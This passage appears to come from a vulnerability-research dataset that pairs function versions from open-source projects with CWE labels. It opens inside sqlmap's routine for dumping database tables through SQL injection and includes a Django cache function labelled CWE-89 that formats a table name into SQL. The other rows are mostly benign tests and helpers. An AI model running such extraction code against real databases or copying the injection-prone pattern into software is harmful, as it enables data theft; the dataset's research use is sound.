                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION) and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL):
                            table = ""%s.%s"" % (conf.db, tbl)

                            if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                                warnMsg = ""in case of table dumping problems (e.g. column entry order) ""
                                warnMsg += ""you are advised to rerun with '--force-pivoting'""
                                singleTimeWarnMessage(warnMsg)

                                query = rootQuery.blind.count % table
                                query = agent.whereQuery(query)

                                count = inject.getValue(query, blind=False, time=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
                                if isNumPosStrValue(count):
                                    try:
                                        indexRange = getLimitRange(count, plusOne=True)

                                        for index in indexRange:
                                            row = []
                                            for column in colList:
                                                query = rootQuery.blind.query3 % (column, column, table, index)
                                                query = agent.whereQuery(query)
                                                value = inject.getValue(query, blind=False, time=False, dump=True) or """"
                                                row.append(value)

                                            if not entries and isNoneValue(row):
                                                break

                                            entries.append(row)

                                    except KeyboardInterrupt:
                                        kb.dumpKeyboardInterrupt = True
                                        clearConsoleLine()
                                        warnMsg = ""Ctrl+C detected in dumping phase""
                                        logger.warn(warnMsg)

                            if isNoneValue(entries) and not kb.dumpKeyboardInterrupt:
                                try:
                                    retVal = pivotDumpTable(table, colList, blind=False)
                                except KeyboardInterrupt:
                                    retVal = None
                                    kb.dumpKeyboardInterrupt = True
                                    clearConsoleLine()
                                    warnMsg = ""Ctrl+C detected in dumping phase""
                                    logger.warn(warnMsg)

                                if retVal:
                                    entries, _ = retVal
                                    entries = BigArray(_zip(*[entries[colName] for colName in colList]))
                        else:
                            query = rootQuery.inband.query % (colString, conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE):
                        query = rootQuery.inband.query % (colString, conf.db, tbl, prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db, tbl)

                    query = agent.whereQuery(query)

                    if not entries and query and not kb.dumpKeyboardInterrupt:
                        try:
                            entries = inject.getValue(query, blind=False, time=False, dump=True)
                        except KeyboardInterrupt:
                            entries = None
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = ""Ctrl+C detected in dumping phase""
                            logger.warn(warnMsg)

                    if not isNoneValue(entries):
                        if isinstance(entries, six.string_types):
                            entries = [entries]
                        elif not isListLike(entries):
                            entries = []

                        entriesCount = len(entries)

                        for index, column in enumerate(colList):
                            if column not in kb.data.dumpedTable:
                                kb.data.dumpedTable[column] = {""length"": len(column), ""values"": BigArray()}

                            for entry in entries:
                                if entry is None or len(entry) == 0:
                                    continue

                                if isinstance(entry, six.string_types):
                                    colEntry = entry
                                else:
                                    colEntry = unArrayizeValue(entry[index]) if index < len(entry) else u''

                                maxLen = max(getConsoleLength(column), getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(colEntry), getUnicode(colEntry))))

                                if maxLen > kb.data.dumpedTable[column][""length""]:
                                    kb.data.dumpedTable[column][""length""] = maxLen

                                kb.data.dumpedTable[column][""values""].append(colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable() and not conf.direct:
                    infoMsg = ""fetching number of ""
                    if conf.col:
                        infoMsg += ""column(s) '%s' "" % colNames
                    infoMsg += ""entries for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                    infoMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL):
                        query = rootQuery.blind.count % (tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD, DBMS.MCKOI, DBMS.EXTREMEDB):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL):
                        query = rootQuery.blind.count % (""%s.%s"" % (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    elif Backend.isDbms(DBMS.INFORMIX):
                        query = rootQuery.blind.count % (conf.db, tbl)
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)

                    query = agent.whereQuery(query)

                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = ""table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += ""in database '%s' "" % unsafeSQLIdentificatorNaming(conf.db)
                        warnMsg += ""appears to be empty""
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = ""unable to retrieve the number of ""
                        if conf.col:
                            warnMsg += ""column(s) '%s' "" % colNames
                        warnMsg += ""entries for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += ""in database '%s'"" % unsafeSQLIdentificatorNaming(conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.SYBASE, DBMS.MAXDB, DBMS.MSSQL, DBMS.INFORMIX, DBMS.MCKOI):
                        if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MSSQL, DBMS.MAXDB):
                            table = ""%s.%s"" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.INFORMIX):
                            table = ""%s:%s"" % (conf.db, tbl)

                        if Backend.isDbms(DBMS.MSSQL) and not conf.forcePivoting:
                            warnMsg = ""in case of table dumping problems (e.g. column entry order) ""
                            warnMsg += ""you are advised to rerun with '--force-pivoting'""
                            singleTimeWarnMessage(warnMsg)

                            try:
                                indexRange = getLimitRange(count, plusOne=True)

                                for index in indexRange:
                                    for column in colList:
                                        query = rootQuery.blind.query3 % (column, column, table, index)
                                        query = agent.whereQuery(query)

                                        value = inject.getValue(query, union=False, error=False, dump=True) or """"

                                        if column not in lengths:
                                            lengths[column] = 0

                                        if column not in entries:
                                            entries[column] = BigArray()

                                        lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                        entries[column].append(value)

                            except KeyboardInterrupt:
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = ""Ctrl+C detected in dumping phase""
                                logger.warn(warnMsg)

                        if not entries and not kb.dumpKeyboardInterrupt:
                            try:
                                retVal = pivotDumpTable(table, colList, count, blind=True)
                            except KeyboardInterrupt:
                                retVal = None
                                kb.dumpKeyboardInterrupt = True
                                clearConsoleLine()
                                warnMsg = ""Ctrl+C detected in dumping phase""
                                logger.warn(warnMsg)

                            if retVal:
                                entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
                        indexRange = getLimitRange(count, plusOne=plusOne)

                        if len(colList) < len(indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            debugMsg = ""checking for empty columns""
                            logger.debug(infoMsg)

                            for column in colList:
                                if not inject.checkBooleanExpression(""(SELECT COUNT(%s) FROM %s)>0"" % (column, kb.dumpTable)):
                                    emptyColumns.append(column)
                                    debugMsg = ""column '%s' of table '%s' will not be "" % (column, kb.dumpTable)
                                    debugMsg += ""dumped as it appears to be empty""
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = """"

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())), index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else (""%s.%s"" % (conf.db.upper(), tbl.upper())), sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB):
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index)
                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl)
                                    elif Backend.isDbms(DBMS.INFORMIX):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, sorted(colList, key=len)[0])
                                    elif Backend.isDbms(DBMS.FRONTBASE):
                                        query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl)
                                    else:
                                        query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index)

                                    query = agent.whereQuery(query)

                                    value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True)
                                    value = '' if value is None else value

                                    lengths[column] = max(lengths[column], len(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value))))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            kb.dumpKeyboardInterrupt = True
                            clearConsoleLine()
                            warnMsg = ""Ctrl+C detected in dumping phase""
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {""length"": length, ""values"": columnEntries}

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0 and kb.permissionFlag):
                    warnMsg = ""unable to retrieve the entries ""
                    if conf.col:
                        warnMsg += ""of columns '%s' "" % colNames
                    warnMsg += ""for table '%s' "" % unsafeSQLIdentificatorNaming(tbl)
                    warnMsg += ""in database '%s'%s"" % (unsafeSQLIdentificatorNaming(conf.db), "" (permission denied)"" if kb.permissionFlag else """")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable[""__infos__""] = {""count"": entriesCount,
                                                        ""table"": safeSQLIdentificatorNaming(tbl, True),
                                                        ""db"": safeSQLIdentificatorNaming(conf.db)}
                    try:
                        attackDumpedTable()
                    except (IOError, OSError) as ex:
                        errMsg = ""an error occurred while attacking ""
                        errMsg += ""table dump ('%s')"" % getSafeExString(ex)
                        logger.critical(errMsg)
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except SqlmapConnectionException as ex:
                errMsg = ""connection exception detected in dumping phase ""
                errMsg += ""('%s')"" % getSafeExString(ex)
                logger.critical(errMsg)

            finally:
                kb.dumpColumns = None
                kb.dumpTable = None"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/asyncio_test.py,0,"def get_event_loop_on_thread(self):
        def get_and_close_event_loop():
            """"""Get the event loop. Close it if one is returned.

            Returns the (closed) event loop. This is a silly thing
            to do and leaves the thread in a broken state, but it's
            enough for this test. Closing the loop avoids resource
            leak warnings.
            """"""
            loop = asyncio.get_event_loop()
            loop.close()
            return loop

        future = self.executor.submit(get_and_close_event_loop)
        return future.result()",CWE-Unknown,tornadoweb/tornado,4bc84dca8b53f1657a1b7a2046308cbe357d3938,"def get_event_loop_on_thread(self):
        def get_and_close_event_loop():
            """"""Get the event loop. Close it if one is returned.

            Returns the (closed) event loop. This is a silly thing
            to do and leaves the thread in a broken state, but it's
            enough for this test. Closing the loop avoids resource
            leak warnings.
            """"""
            loop = asyncio.get_event_loop()
            loop.close()
            return loop

        future = self.executor.submit(get_and_close_event_loop)
        return future.result()"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,IPython/html/base/handlers.py,0,"def set_default_headers(self):
        headers = self.settings.get('headers', {})

        if ""Content-Security-Policy"" not in headers:
            headers[""Content-Security-Policy""] = ""default-src 'self'""

        for header_name,value in headers.items() :
            try:
                self.set_header(header_name, value)
            except Exception:
                # tornado raise Exception (not a subclass)
                # if method is unsupported (websocket and Access-Control-Allow-Origin
                # for example, so just ignore)
                pass",,jupyter/notebook,a00d6930f208169734cad3cfb2c21306abd40b40,"def set_default_headers(self):
        headers = self.settings.get('headers', {})

        if ""X-Frame-Options"" not in headers:
            headers[""X-Frame-Options""] = ""SAMEORIGIN""

        for header_name,value in headers.items() :
            try:
                self.set_header(header_name, value)
            except Exception:
                # tornado raise Exception (not a subclass)
                # if method is unsupported (websocket and Access-Control-Allow-Origin
                # for example, so just ignore)
                pass"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/contrib/operators/pubsub_operator.py,0,"def __init__(self, *args, **kwargs):
        warnings.warn(
            """"""This class is deprecated.
            Please use `airflow.providers.google.cloud.operators.pubsub.PubSubPublishMessageOperator`."""""",
            DeprecationWarning,
            stacklevel=2,
        )
        super().__init__(*args, **kwargs)",CWE-Unknown,apache/airflow,37681bca0081dd228ac4047c17631867bba7a66f,"def __init__(self, *args, **kwargs):
        warnings.warn(
            """"""This class is deprecated.
            Please use `airflow.providers.google.cloud.operators.pubsub.PubSubPublishMessageOperator`."""""",
            DeprecationWarning,
            stacklevel=3,
        )
        super().__init__(*args, **kwargs)"
,UNKNOWN,UNKNOWN,tests/tracking/fluent/test_fluent.py,1,"def test_start_run_defaults_databricks_notebook(
    empty_active_run_stack,
):  # pylint: disable=unused-argument

    mock_experiment_id = mock.Mock()
    experiment_id_patch = mock.patch(
        ""mlflow.tracking.fluent._get_experiment_id"", return_value=mock_experiment_id
    )
    databricks_notebook_patch = mock.patch(
        ""mlflow.utils.databricks_utils.is_in_databricks_notebook"", return_value=True
    )
    mock_user = mock.Mock()
    user_patch = mock.patch(
        ""mlflow.tracking.context.default_context._get_user"", return_value=mock_user
    )
    mock_source_version = mock.Mock()
    source_version_patch = mock.patch(
        ""mlflow.tracking.context.git_context._get_source_version"", return_value=mock_source_version
    )
    mock_notebook_id = mock.Mock()
    notebook_id_patch = mock.patch(
        ""mlflow.utils.databricks_utils.get_notebook_id"", return_value=mock_notebook_id
    )
    mock_notebook_path = mock.Mock()
    notebook_path_patch = mock.patch(
        ""mlflow.utils.databricks_utils.get_notebook_path"", return_value=mock_notebook_path
    )
    mock_webapp_url = mock.Mock()
    webapp_url_patch = mock.patch(
        ""mlflow.utils.databricks_utils.get_webapp_url"", return_value=mock_webapp_url
    )
    workspace_info_patch = mock.patch(
        ""mlflow.utils.databricks_utils.get_workspace_info_from_dbutils"",
        return_value=(""https://databricks.com"", ""123456""),
    )

    expected_tags = {
        mlflow_tags.MLFLOW_USER: mock_user,
        mlflow_tags.MLFLOW_SOURCE_NAME: mock_notebook_path,
        mlflow_tags.MLFLOW_SOURCE_TYPE: SourceType.to_string(SourceType.NOTEBOOK),
        mlflow_tags.MLFLOW_GIT_COMMIT: mock_source_version,
        mlflow_tags.MLFLOW_DATABRICKS_NOTEBOOK_ID: mock_notebook_id,
        mlflow_tags.MLFLOW_DATABRICKS_NOTEBOOK_PATH: mock_notebook_path,
        mlflow_tags.MLFLOW_DATABRICKS_WEBAPP_URL: mock_webapp_url,
        mlflow_tags.MLFLOW_DATABRICKS_WORKSPACE_URL: ""https://databricks.com"",
        mlflow_tags.MLFLOW_DATABRICKS_WORKSPACE_ID: ""123456"",
    }

    create_run_patch = mock.patch.object(MlflowClient, ""create_run"")

    with multi_context(
        experiment_id_patch,
        databricks_notebook_patch,
        user_patch,
        source_version_patch,
        notebook_id_patch,
        notebook_path_patch,
        webapp_url_patch,
        workspace_info_patch,
        create_run_patch,
    ):
        active_run = start_run()
        MlflowClient.create_run.assert_called_once_with(
            experiment_id=mock_experiment_id, tags=expected_tags
        )
        assert is_from_run(active_run, MlflowClient.create_run.return_value)",CWE-703,mlflow/mlflow,cf6ad38636c9e0dffbfafe0eb51d8ea68a8face8,"def test_start_run_defaults_databricks_notebook(
    empty_active_run_stack,
):  # pylint: disable=unused-argument

    mock_experiment_id = mock.Mock()
    experiment_id_patch = mock.patch(
        ""mlflow.tracking.fluent._get_experiment_id"", return_value=mock_experiment_id
    )
    databricks_notebook_patch = mock.patch(
        ""mlflow.utils.databricks_utils.is_in_databricks_notebook"", return_value=True
    )
    mock_user = mock.Mock()
    user_patch = mock.patch(
        ""mlflow.tracking.context.default_context._get_user"", return_value=mock_user
    )
    mock_source_version = mock.Mock()
    source_version_patch = mock.patch(
        ""mlflow.tracking.context.git_context._get_source_version"", return_value=mock_source_version
    )
    mock_notebook_id = mock.Mock()
    notebook_id_patch = mock.patch(
        ""mlflow.utils.databricks_utils.get_notebook_id"", return_value=mock_notebook_id
    )
    mock_notebook_path = mock.Mock()
    notebook_path_patch = mock.patch(
        ""mlflow.utils.databricks_utils.get_notebook_path"", return_value=mock_notebook_path
    )
    mock_webapp_url = mock.Mock()
    webapp_url_patch = mock.patch(
        ""mlflow.utils.databricks_utils.get_webapp_url"", return_value=mock_webapp_url
    )

    expected_tags = {
        mlflow_tags.MLFLOW_USER: mock_user,
        mlflow_tags.MLFLOW_SOURCE_NAME: mock_notebook_path,
        mlflow_tags.MLFLOW_SOURCE_TYPE: SourceType.to_string(SourceType.NOTEBOOK),
        mlflow_tags.MLFLOW_GIT_COMMIT: mock_source_version,
        mlflow_tags.MLFLOW_DATABRICKS_NOTEBOOK_ID: mock_notebook_id,
        mlflow_tags.MLFLOW_DATABRICKS_NOTEBOOK_PATH: mock_notebook_path,
        mlflow_tags.MLFLOW_DATABRICKS_WEBAPP_URL: mock_webapp_url,
    }

    create_run_patch = mock.patch.object(MlflowClient, ""create_run"")

    with multi_context(
        experiment_id_patch,
        databricks_notebook_patch,
        user_patch,
        source_version_patch,
        notebook_id_patch,
        notebook_path_patch,
        webapp_url_patch,
        create_run_patch,
    ):
        active_run = start_run()
        MlflowClient.create_run.assert_called_once_with(
            experiment_id=mock_experiment_id, tags=expected_tags
        )
        assert is_from_run(active_run, MlflowClient.create_run.return_value)"
,UNKNOWN,UNKNOWN,django/core/cache/backends/db.py,1,"def _base_set(self, mode, key, value, timeout=None):
        if timeout is None:
            timeout = self.default_timeout
        cursor = connection.cursor()
        cursor.execute(""SELECT COUNT(*) FROM %s"" % self._table)
        num = cursor.fetchone()[0]
        now = datetime.now().replace(microsecond=0)
        exp = datetime.fromtimestamp(time.time() + timeout).replace(microsecond=0)
        if num > self._max_entries:
            self._cull(cursor, now)
        encoded = base64.encodestring(pickle.dumps(value, 2)).strip()
        cursor.execute(""SELECT cache_key, expires FROM %s WHERE cache_key = %%s"" % self._table, [key])
        try:
            result = cursor.fetchone()
            if result and (mode == 'set' or
                    (mode == 'add' and result[1] < now)):
                cursor.execute(""UPDATE %s SET value = %%s, expires = %%s WHERE cache_key = %%s"" % self._table, [encoded, str(exp), key])
            else:
                cursor.execute(""INSERT INTO %s (cache_key, value, expires) VALUES (%%s, %%s, %%s)"" % self._table, [key, encoded, str(exp)])
        except DatabaseError:
            # To be threadsafe, updates/inserts are allowed to fail silently
            transaction.rollback_unless_managed()
            return False
        else:
            transaction.commit_unless_managed()
            return True",CWE-89,django/django,a9282168f5952cfb5c7008c603aed78aaff142b2,"def _base_set(self, mode, key, value, timeout=None):
        if timeout is None:
            timeout = self.default_timeout
        cursor = connection.cursor()
        cursor.execute(""SELECT COUNT(*) FROM %s"" % self._table)
        num = cursor.fetchone()[0]
        now = datetime.now().replace(microsecond=0)
        exp = datetime.fromtimestamp(time.time() + timeout).replace(microsecond=0)
        if num > self._max_entries:
            self._cull(cursor, now)
        encoded = base64.encodestring(pickle.dumps(value, 2)).strip()
        cursor.execute(""SELECT cache_key, expires FROM %s WHERE cache_key = %%s"" % self._table, [key])
        try:
            result = cursor.fetchone()
            if result and (mode == 'set' or
                    (mode == 'add' and result[1] < now)):
                cursor.execute(""UPDATE %s SET value = %%s, expires = %%s WHERE cache_key = %%s"" % self._table, [encoded, str(exp), key])
            else:
                cursor.execute(""INSERT INTO %s (cache_key, value, expires) VALUES (%%s, %%s, %%s)"" % self._table, [key, encoded, str(exp)])
        except DatabaseError:
            # To be threadsafe, updates/inserts are allowed to fail silently
            transaction.rollback()
            return False
        else:
            transaction.commit_unless_managed()
            return True"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/states/dockerng_test.py,0,"def test_check_start_true(self):
        '''
        If start is True, then dockerng.running will try
        to start a container that is stopped.
        '''
        image_id = 'abcdefg'
        dockerng_create = Mock()
        dockerng_start = Mock()
        dockerng_list_containers = Mock(return_value=['cont'])
        dockerng_inspect_container = Mock(
            return_value={
                'Config': {
                    'Image': 'image:latest',
                    'Tty': False,
                    'Labels': {},
                    'Domainname': '',
                    'User': '',
                    'AttachStderr': True,
                    'AttachStdout': True,
                    'Hostname': 'saltstack-container',
                    'Env': [],
                    'WorkingDir': '/',
                    'Cmd': ['bash'],
                    'Volumes': {},
                    'Entrypoint': None,
                    'ExposedPorts': {},
                    'OpenStdin': False,
                },
                'HostConfig': {
                    'PublishAllPorts': False,
                    'Dns': [],
                    'Links': None,
                    'CpusetCpus': '',
                    'RestartPolicy': {'MaximumRetryCount': 0, 'Name': ''},
                    'CapAdd': None,
                    'NetworkMode': 'default',
                    'PidMode': '',
                    'MemorySwap': 0,
                    'ExtraHosts': None,
                    'PortBindings': None,
                    'LxcConf': None,
                    'DnsSearch': [],
                    'Privileged': False,
                    'Binds': None,
                    'Memory': 0,
                    'VolumesFrom': None,
                    'CpuShares': 0,
                    'CapDrop': None,
                },
                'NetworkSettings': {
                    'MacAddress': '00:00:00:00:00:01',
                },
                'Image': image_id})
        dockerng_inspect_image = MagicMock(
            return_value={
                'Id': image_id,
                'Config': {
                    'Hostname': 'saltstack-container',
                    'WorkingDir': '/',
                    'Cmd': ['bash'],
                    'Volumes': {},
                    'Entrypoint': None,
                    'ExposedPorts': {},
                },
                })
        __salt__ = {'dockerng.list_containers': dockerng_list_containers,
                    'dockerng.inspect_container': dockerng_inspect_container,
                    'dockerng.inspect_image': dockerng_inspect_image,
                    'dockerng.list_tags': MagicMock(),
                    'dockerng.pull': MagicMock(return_value=True),
                    'dockerng.state': MagicMock(side_effect=['stopped',
                                                             'running']),
                    'dockerng.create': dockerng_create,
                    'dockerng.start': dockerng_start,
                    }
        with patch.dict(dockerng_state.__dict__,
                        {'__salt__': __salt__}):
            ret = dockerng_state.running(
                'cont',
                image='image:latest',
                start=True,
                )
        self.assertEqual(ret, {'name': 'cont',
                               'comment': ""Container 'cont' changed state."",
                               'changes': {'state': {'new': 'running',
                                                     'old': 'stopped'},
                                           'image': True},
                               'result': True,
                               })",,saltstack/salt,ffa788fd678c6e84d19e33050686c6d47955a6ad,"def test_check_start_true(self):
        '''
        If start is True, then dockerng.running will try
        to start a container that is stopped.
        '''
        image_id = 'abcdefg'
        dockerng_create = Mock()
        dockerng_start = Mock()
        dockerng_list_containers = Mock(return_value=['cont'])
        dockerng_inspect_container = Mock(
            return_value={
                'Config': {
                    'Image': 'image:latest',
                    'Tty': False,
                    'Labels': {},
                    'Domainname': '',
                    'User': '',
                    'AttachStderr': True,
                    'AttachStdout': True,
                    'Hostname': 'saltstack-container',
                    'Env': [],
                    'WorkingDir': '/',
                    'Cmd': ['bash'],
                    'Volumes': {},
                    'Entrypoint': None,
                    'ExposedPorts': {},
                    'OpenStdin': False,
                },
                'HostConfig': {
                    'PublishAllPorts': False,
                    'Dns': [],
                    'Links': None,
                    'CpusetCpus': '',
                    'RestartPolicy': {'MaximumRetryCount': 0, 'Name': ''},
                    'CapAdd': None,
                    'NetworkMode': 'default',
                    'PidMode': '',
                    'MemorySwap': 0,
                    'ExtraHosts': None,
                    'PortBindings': None,
                    'LxcConf': None,
                    'DnsSearch': [],
                    'Privileged': False,
                    'Binds': None,
                    'Memory': 0,
                    'VolumesFrom': None,
                    'CpuShares': 0,
                    'CapDrop': None,
                },
                'NetworkSettings': {
                    'MacAddress': '00:00:00:00:00:01',
                },
                'Image': image_id})
        dockerng_inspect_image = MagicMock(
            return_value={
                'Id': image_id,
                'Config': {
                    'Hostname': 'saltstack-container',
                    'WorkingDir': '/',
                    'Cmd': ['bash'],
                    'Volumes': {},
                    'Entrypoint': None,
                    'ExposedPorts': {},
                },
                })
        __salt__ = {'dockerng.list_containers': dockerng_list_containers,
                    'dockerng.inspect_container': dockerng_inspect_container,
                    'dockerng.inspect_image': dockerng_inspect_image,
                    'dockerng.list_tags': MagicMock(),
                    'dockerng.pull': MagicMock(return_value=True),
                    'dockerng.state': MagicMock(side_effect=['stopped',
                                                             'running']),
                    'dockerng.create': dockerng_create,
                    'dockerng.start': dockerng_start,
                    }
        with patch.dict(dockerng_state.__dict__,
                        {'__salt__': __salt__}):
            ret = dockerng_state.running(
                'cont',
                image='image:latest',
                start=True,
                )
        self.assertEqual(ret, {'name': 'cont',
                               'comment': ""Container 'cont' changed state."",
                               'changes': {'state': {'new': 'running',
                                                     'old': 'stopped'},
                                           'image': True},
                               'result': True,
                               })"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/network/f5/bigip_device_sshd.py,0,"def allow(self):
        if self.want.allow is None:
            return None
        if not self.want.allow:
            if self.have.allow is None:
                return None
            if self.have.allow is not None:
                return self.want.allow
        if self.have.allow is None:
            return self.want.allow
        if set(self.want.allow) != set(self.have.allow):
            return self.want.allow",,ansible/ansible,48704d45fd68811a2c4b1ae6062133bfecba4775,"def allow(self):
        if self.want.allow is None:
            return None
        if not self.want.allow:
            if self.have.allow is None:
                return None
            if self.have.allow is not None:
                return self.want.allow
        if self.have.allow is None:
            return self.want.allow
        if set(self.want.allow) != set(self.have.allow):
                return self.want.allow"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,tests/unit/formatters/test_text.py,0,"def test_report_nobaseline(self, get_issue_list):
        cfg_file = os.path.join(os.getcwd(), 'bandit/config/bandit.yaml')
        conf = config.BanditConfig(cfg_file)
        self.manager = manager.BanditManager(conf, 'file')

        (tmp_fd, self.tmp_fname) = tempfile.mkstemp()
        self.manager.out_file = self.tmp_fname

        self.manager.verbose = True
        self.manager.files_list = ['binding.py']

        self.manager.scores = [{'SEVERITY': [0, 0, 0, 1],
                                'CONFIDENCE': [0, 0, 0, 1]}]

        self.manager.skipped = [('abc.py', 'File is bad')]
        self.manager.excluded_files = ['def.py']

        issue_a = _get_issue_instance()
        issue_b = _get_issue_instance()

        get_issue_list.return_value = [issue_a, issue_b]

        self.manager.metrics.data['_totals'] = {'loc': 1000, 'nosec': 50}
        for category in ['SEVERITY', 'CONFIDENCE']:
            for level in ['UNDEFINED', 'LOW', 'MEDIUM', 'HIGH']:
                self.manager.metrics.data['_totals']['%s.%s' %
                                                     (category, level)] = 1

        # Validate that we're outputting the correct issues
        output_str_fn = 'bandit.formatters.text._output_issue_str'
        with mock.patch(output_str_fn) as output_str:
            output_str.return_value = 'ISSUE_OUTPUT_TEXT'

            b_text.report(self.manager, self.tmp_fname, bandit.LOW, bandit.LOW,
                          lines=5)

            calls = [mock.call(issue_a, '', lines=5),
                     mock.call(issue_b, '', lines=5)]

            output_str.assert_has_calls(calls, any_order=True)

        # Validate that we're outputting all of the expected fields and the
        # correct values
        b_text.report(self.manager, self.tmp_fname, bandit.LOW, bandit.LOW,
                      lines=5)
        with open(self.tmp_fname) as f:
            data = f.read()

            expected = 'Run started'
            self.assertIn(expected, data)

            expected_items = ['Files in scope (1):\n\tbinding.py (score: ',
                              ""CONFIDENCE: 1"",
                              ""SEVERITY: 1""]
            for item in expected_items:
                self.assertIn(item, data)

            expected = 'Files excluded (1):\n\tdef.py'
            self.assertIn(expected, data)

            expected = ('Total lines of code: 1000\n\tTotal lines skipped '
                        '(#nosec): 50')
            self.assertIn(expected, data)

            expected = ('Total issues (by severity):\n\t\tUndefined: 1\n\t\t'
                        'Low: 1\n\t\tMedium: 1\n\t\tHigh: 1')
            self.assertIn(expected, data)

            expected = ('Total issues (by confidence):\n\t\tUndefined: 1\n\t\t'
                        'Low: 1\n\t\tMedium: 1\n\t\tHigh: 1')
            self.assertIn(expected, data)

            expected = 'Files skipped (1):\n\tabc.py (File is bad)'
            self.assertIn(expected, data)",UNKNOWN,PyCQA/bandit,27deb984408d6721c7ea2cc80e14dbbfec91a098,"def test_report_nobaseline(self, get_issue_list):
        cfg_file = os.path.join(os.getcwd(), 'bandit/config/bandit.yaml')
        conf = config.BanditConfig(cfg_file)
        self.manager = manager.BanditManager(conf, 'file')

        (tmp_fd, self.tmp_fname) = tempfile.mkstemp()
        self.manager.out_file = self.tmp_fname

        self.manager.verbose = True
        self.manager.files_list = ['binding.py']

        self.manager.scores = [{'SEVERITY': [0, 0, 0, 1],
                                'CONFIDENCE': [0, 0, 0, 1]}]

        self.manager.skipped = [('abc.py', 'File is bad')]
        self.manager.excluded_files = ['def.py']

        issue_a = _get_issue_instance()
        issue_b = _get_issue_instance()

        get_issue_list.return_value = [issue_a, issue_b]

        self.manager.metrics.data['_totals'] = {'loc': 1000, 'nosec': 50}
        for category in ['SEVERITY', 'CONFIDENCE']:
            for level in ['UNDEFINED', 'LOW', 'MEDIUM', 'HIGH']:
